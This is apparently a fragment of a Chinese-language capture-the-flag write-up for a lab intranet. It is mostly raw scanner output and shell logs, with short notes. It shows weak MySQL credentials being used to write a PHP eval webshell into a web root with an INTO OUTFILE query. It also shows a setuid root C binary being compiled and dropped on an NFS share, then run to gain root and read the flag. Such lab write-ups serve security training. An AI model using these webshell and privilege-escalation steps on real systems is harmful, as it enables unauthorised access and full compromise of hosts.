[*] Icmp alive hosts len is: 4 172.22.13.14:22 open 172.22.13.14:21 open 172.22.13.6:139 open 172.22.13.28:8000 open 172.22.13.14:8080 open 172.22.13.28:3306 open 172.22.13.28:445 open 172.22.13.6:445 open 172.22.13.28:139 open 172.22.13.28:135 open 172.22.13.6:135 open 172.22.13.57:80 open 172.22.13.28:80 open 172.22.13.57:22 open 172.22.13.14:80 open 172.22.13.6:88 open [*] alive ports len is: 16 start vulscan [*] NetInfo [*]172.22.13.28 [->]WIN-HAUWOLAO [->]172.22.13.28 [*] NetInfo [*]172.22.13.6 [->]WIN-DC [->]172.22.13.6 [*] WebTitle http://172.22.13.14 code:200 len:10918 title:Apache2 Ubuntu Default Page: It works [*] WebTitle http://172.22.13.28 code:200 len:2525 title:欢迎登录OA办公平台 [*] WebTitle http://172.22.13.28:8000 code:200 len:170 title:Nothing Here. [+] ftp 172.22.13.14:21:anonymous [->]1.txt [->]pom.xml [*] NetBios 172.22.13.6 [+] DC:XIAORANG\WIN-DC [*] WebTitle http://172.22.13.57 code:200 len:4833 title:Welcome to CentOS [*] NetBios 172.22.13.28 WIN-HAUWOLAO.xiaorang.lab Windows Server 2016 Datacenter 14393 [*] WebTitle http://172.22.13.14:8080 code:200 len:3655 title:公司发货单 [+] mysql 172.22.13.28:3306:root 123456
横向WEB
内网web服务的mysql有弱口令,连上去正好是个phpstudy,写webshell
select "<?php @eval($_POST['pass']);?>" into outfile "C:\\phpstudy_pro\\www\\shell.php"
root@ubuntu:/tmp# echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > root.c root@ubuntu:/tmp# gcc root.c -o root root.c: In function ‘main’: root.c:1:14: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration] 1 | int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; } | ^~~~~~ root.c:1:25: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration] 1 | int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; } | ^~~~~~ root.c:1:36: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration] 1 | int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; } | ^~~~~~ root@ubuntu:/tmp# chmod +s ./root root@ubuntu:/tmp# mv ./root nfs_mount/
[joyce@centos tmp]$ cd ~ [joyce@centos ~]$ ls root [joyce@centos ~]$ ./root [root@centos ~]# cat /flag* SSS h d CCC d t l S h d C d t ii l SSS hhh aa ddd ooo w w C rrr eee ddd eee nnn ttt aa l ss S h h a a d d o o w w w C r e e d d e e n n t ii a a l s SSSS h h aaa ddd ooo w w CCC r ee ddd ee n n tt ii aaa l ss